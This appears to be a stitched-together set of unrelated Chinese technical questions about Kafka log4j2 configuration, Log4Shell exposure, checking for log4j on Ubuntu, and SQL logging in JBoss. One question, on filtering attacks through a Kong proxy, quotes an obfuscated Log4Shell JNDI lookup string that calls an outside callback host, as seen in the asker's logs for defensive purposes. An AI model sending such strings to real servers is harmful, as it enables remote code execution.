问题[log4j](server)

我在 RHEL 8 服务器上安装了支持 log4j2 ( http://home.apache.org/~dongjin/post/apache-kafka-log4j2-support/ ) 的 Kafka 3.0 预览版。Kafka 和 Zookeeper 作为 systemd 用户服务成功运行。我在 systemd 单元文件中设置了环境变量KAFKA_LOG4J_OPTS="-Dlog4j.configurationFile=file:/home/username/kafka/bin/../config/log4j2.properties"，以便使用 log4j 2.17。

但是，有一件奇怪的事情：所有 log4j 日志都存储在一个目录中，该目录实际上称为${kafka.logs.dir}主目录。垃圾收集器成功地将日志存储在正确的日志位置~/kafka/logs。所以这个目录~/kafka/logs包含了类似的文件kafkaServer-gc.log.0.current，而奇怪的目录~/${kafka.logs.dir}包含server.log,controller.log等等。

在查看 kafka 和 zookeeper 的进程时，我可以看到它们都有参数-Dkafka.logs.dir=/home/username/kafka/bin/../logs。这不应该定义kafka.logs.dir文件中使用的环境变量config/log4j2.properties吗？为什么 Zookeeper 和 Kafka 显然无法访问这个$kafka.logs.dir环境变量？

试图了解有关最近发现的0 天漏洞的更多信息

这是我发现的受影响软件的列表 -> https://github.com/NCSC-NL/log4shell/tree/main/software

它只在 F5 的注释中说 nginx。

如果我使用带有 nginx 的 Ubuntu 服务器通过 Internet 提供文件，我需要担心吗？

我正在使用kong 反向代理来代理我的 Web 服务器的每个 HTTP 请求。我想通过查找和替换关键攻击者的字符串（如“jndi”）来缓解当前的 log4j 问题（“ log4shell ”）。例如，我发现这是我的日志：

${jndi:${lower:l}${lower:d}a${lower:p}://xxx.log4j.bin${upper:a}xxx.xx:80/callback}

我认为这可以通过使用请求转换器插件来完成。有人已经这样做了吗？

PS只是替换jndi为disabled太深远了，破坏了很多东西。

我已经阅读了与 Log4j 相关的安全漏洞。

如何检查我的服务器上是否安装了 Log4j？我的特定服务器使用Ubuntu 18.04.6 LTS.

我已经安装了许多第三方软件包，其中一些可能包含它。

是否有命令在我的服务器上运行以检查是否安装了 Log4j？

我看过 log4jdbc（它不支持数据源），p6spy这似乎是我正在寻找的，但它自 2003 年以来一直没有更新，这让我很紧张，只列出了 JBoss 3.x（我们使用 JBoss 5），和 JAMon，这对于我想要完成的工作来说似乎是重量级的（通过 JBoss 应用程序服务器运行的所有 SQL 语句的简单日志）。

我希望 JBoss 本身有一个开关来记录所有 sql（就像 Websphere 一样），但我找不到任何文档，因此功能可能不存在。